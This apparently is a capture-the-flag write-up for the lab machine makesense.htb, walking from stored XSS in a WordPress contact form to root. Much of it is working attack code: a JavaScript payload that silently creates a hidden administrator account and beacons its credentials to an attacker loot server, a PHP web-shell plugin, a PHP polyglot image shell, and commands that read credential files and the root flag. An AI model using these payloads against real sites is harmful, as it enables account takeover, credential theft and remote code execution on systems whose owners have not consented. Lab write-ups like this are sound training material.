&lt;p&gt;&lt;img src=&quot;./makesense-home.png&quot; alt=&quot;makesense.htb landing page&quot; title=&quot;The Agency LLC WordPress front page&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Foothold — Stored XSS → WordPress admin takeover&lt;/h2&gt;
&lt;p&gt;The site (&lt;code&gt;https://makesense.htb&lt;/code&gt;) is a WordPress &quot;Agency LLC&quot; page with a contact form. The contact form is vulnerable to &lt;strong&gt;stored XSS&lt;/strong&gt;: our payload is later rendered in the browser of an authenticated admin who reviews the submissions.&lt;/p&gt;
&lt;p&gt;Rather than just stealing a cookie, we abuse the admin&apos;s session directly. Since the payload runs same-origin in the admin&apos;s browser, we can perform an &lt;strong&gt;XSS → CSRF&lt;/strong&gt; chain that creates a brand-new administrator account for us.&lt;/p&gt;
&lt;p&gt;The following payload is served from our attacker box and executed inside the admin&apos;s session. It:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GET&lt;/code&gt;s &lt;code&gt;/wp-admin/user-new.php&lt;/code&gt; to scrape a fresh &lt;code&gt;_wpnonce_create-user&lt;/code&gt; nonce (WordPress rejects the POST without it).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST&lt;/code&gt;s the create-user form with &lt;code&gt;role=administrator&lt;/code&gt;, using the victim&apos;s own cookies (sent automatically, same-origin).&lt;/li&gt;
&lt;li&gt;Beacons the outcome back to our loot server.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;(function () {
  var NEW_USER = &apos;backdoor&apos;;
  var NEW_PASS = &apos;Backd00r!2024&apos;;
  var NEW_EMAIL = &apos;backdoor@evil.local&apos;;

  var scriptEl = document.currentScript;
  var origin = scriptEl ? new URL(scriptEl.src).origin : location.origin;
  var LOOT = origin + &apos;/hook-loot&apos;;

  var base = location.origin;
  var adminPath = &apos;/wp-admin/user-new.php&apos;;

  function report(status, detail) {
    try {
      new Image().src =
        LOOT + &apos;?wp=&apos; + encodeURIComponent(status) +
        &apos;&amp;amp;user=&apos; + encodeURIComponent(NEW_USER) +
        &apos;&amp;amp;detail=&apos; + encodeURIComponent((detail || &apos;&apos;).slice(0, 300)) +
        &apos;&amp;amp;url=&apos; + encodeURIComponent(base);
    } catch (e) {}
  }

  // Step 1: fetch user-new.php to get a valid nonce for this session.
  fetch(base + adminPath, { credentials: &apos;include&apos; })
    .then(function (r) { return r.text(); })
    .then(function (html) {
      var m = html.match(/name=&quot;_wpnonce_create-user&quot;\s+value=&quot;([a-f0-9]+)&quot;/i);
      if (!m) { report(&apos;no-nonce&apos;, &apos;not admin / user-new.php unreachable&apos;); return; }
      var nonce = m[1];

      var refMatch = html.match(/name=&quot;_wp_http_referer&quot;\s+value=&quot;([^&quot;]*)&quot;/i);
      var referer = refMatch ? refMatch[1] : adminPath;

      // Step 2: build and submit the create-user form.
      var body = new URLSearchParams();
      body.set(&apos;action&apos;, &apos;createuser&apos;);
      body.set(&apos;_wpnonce_create-user&apos;, nonce);
      body.set(&apos;_wp_http_referer&apos;, referer);
      body.set(&apos;user_login&apos;, NEW_USER);
      body.set(&apos;email&apos;, NEW_EMAIL);
      body.set(&apos;pass1&apos;, NEW_PASS);
      body.set(&apos;pass1-text&apos;, NEW_PASS);
      body.set(&apos;pass2&apos;, NEW_PASS);
      body.set(&apos;pw_weak&apos;, &apos;on&apos;);           // allow &quot;weak&quot; passwords through
      body.set(&apos;send_user_notification&apos;, &apos;&apos;); // don&apos;t email the real admin
      body.set(&apos;role&apos;, &apos;administrator&apos;);
      body.set(&apos;createuser&apos;, &apos;Add New User&apos;);

      return fetch(base + adminPath, {
        method: &apos;POST&apos;,
        credentials: &apos;include&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/x-www-form-urlencoded&apos; },
        body: body.toString(),
      })
        .then(function (r) { return r.text(); })
        .then(function (resp) {
          if (/update=add/.test(resp) || /New user created/i.test(resp)) {
            report(&apos;created&apos;, NEW_USER + &apos;:&apos; + NEW_PASS);
          } else if (/already registered|username is already/i.test(resp)) {
            report(&apos;exists&apos;, NEW_USER + &apos; already exists&apos;);
          } else {
            report(&apos;unknown&apos;, &apos;POST returned, check manually&apos;);
          }
        });
    })
    .catch(function (e) { report(&apos;error&apos;, String(e)); });
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the admin views our malicious submission, the script fires and our loot server confirms the new &lt;code&gt;backdoor:Backd00r!2024&lt;/code&gt; administrator was created. We can now log in at &lt;code&gt;/wp-login.php&lt;/code&gt; directly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./makesense-wp-login.png&quot; alt=&quot;WordPress login page&quot; title=&quot;Logging in with our freshly-minted administrator account&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;RCE — Malicious plugin&lt;/h2&gt;
&lt;p&gt;With admin access, the quickest path to code execution on a WordPress box is uploading a plugin. We package a minimal backdoor plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/*
* Plugin Name:       WP Backdoor
* Description:       Undisguised backdoor for WordPress.
* Version:           1.0
* Author:            0xpiko
*/

add_action( &apos;wp_head&apos;, &apos;print_extra_line&apos; );

function print_extra_line() {
    if ( isset( $_GET[&apos;cmd&apos;] ) ) {
        echo system($_GET[&apos;cmd&apos;]);
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After installing and activating it, every page hooks &lt;code&gt;wp_head&lt;/code&gt; and executes commands passed via the &lt;code&gt;cmd&lt;/code&gt; parameter. We can now read the WordPress config to grab the database and user credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://makesense.htb/?cmd=cat%20wp-config.php
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Tip: viewing the page source (&lt;code&gt;CTRL+U&lt;/code&gt;) preserves the newlines and makes the config readable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;wp-config.php&lt;/code&gt; exposes credentials for the user &lt;strong&gt;walter&lt;/strong&gt;, which are reused for SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh walter@makesense.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now have an interactive shell as &lt;code&gt;walter&lt;/code&gt; and the user flag.&lt;/p&gt;
&lt;h2&gt;Privilege escalation — Internal OCR service on port 8001&lt;/h2&gt;
&lt;p&gt;Remember the filtered port &lt;code&gt;8001&lt;/code&gt; from the nmap scan. From inside the box, it&apos;s listening only on localhost:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;walter@makesense:/var/www/html$ ss -lntp
State    Local Address:Port
LISTEN   127.0.0.1:8001
LISTEN   0.0.0.0:80
LISTEN   0.0.0.0:22
LISTEN   0.0.0.0:443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We forward it to our machine over the SSH session:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 8001:localhost:8001 walter@makesense.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browsing to &lt;code&gt;http://localhost:8001/&lt;/code&gt; reveals an &lt;strong&gt;OCR web app&lt;/strong&gt; (PHP, HTTP Basic auth) that takes an image from a canvas and lets us save the output to the server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ocr-app.png&quot; alt=&quot;Internal MakeSense OCR app on port 8001&quot; title=&quot;Draw text, read it back — a canvas-based OCR service with a save-to-file feature&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Crucially, &lt;strong&gt;there is no extension validation&lt;/strong&gt; on the saved filename — and the server runs PHP.&lt;/p&gt;
&lt;h3&gt;Crafting the polyglot image&lt;/h3&gt;
&lt;p&gt;Since the app stores whatever bytes we send and lets us name the file, we embed a PHP web shell inside a valid PNG. Using GIMP, we create an image matching the canvas dimensions and drop the payload into it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo system($_GET[&quot;cmd&quot;]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Uploading the image&lt;/h3&gt;
&lt;p&gt;We submit the base64-encoded PNG (with the embedded PHP) as &lt;code&gt;canvas_image&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;http://localhost:8001/&apos; \
  --header &apos;Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh&apos; \
  --header &apos;Content-Type: application/x-www-form-urlencoded&apos; \
  --data-urlencode &apos;canvas_image=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...&amp;lt;snip embedded PHP payload&amp;gt;...&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Saving it as a &lt;code&gt;.php&lt;/code&gt; file&lt;/h3&gt;
&lt;p&gt;The app returns an &lt;code&gt;ocr_id&lt;/code&gt;. We call the save endpoint and — because there&apos;s no extension check — name the output &lt;code&gt;1.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;http://localhost:8001/&apos; \
  --header &apos;Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh&apos; \
  --header &apos;Content-Type: application/x-www-form-urlencoded&apos; \
  --header &apos;Cookie: PHPSESSID=4vt5ej7ndbajvtni85j0d876qs&apos; \
  --data-urlencode &apos;ocr_id=ocr_6a5172cf1809c1.02304565&apos; \
  --data-urlencode &apos;filename=1.php&apos; \
  --data-urlencode &apos;save_output=&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root&lt;/h3&gt;
&lt;p&gt;The service runs as root, so our uploaded shell executes commands as root. Reading the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:8001/saved/1.php?cmd=cat%20/root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we get the &lt;strong&gt;root flag&lt;/strong&gt;. 🚩&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Foothold&lt;/td&gt;
&lt;td&gt;Stored XSS in contact form → CSRF to create WP admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web RCE&lt;/td&gt;
&lt;td&gt;Malicious WordPress plugin upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral&lt;/td&gt;
&lt;td&gt;Credential reuse from &lt;code&gt;wp-config.php&lt;/code&gt; → SSH as &lt;code&gt;walter&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;SSH tunnel to internal OCR service, unrestricted PHP file upload (polyglot image)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded><author>0xpiko</author></item></channel></rss>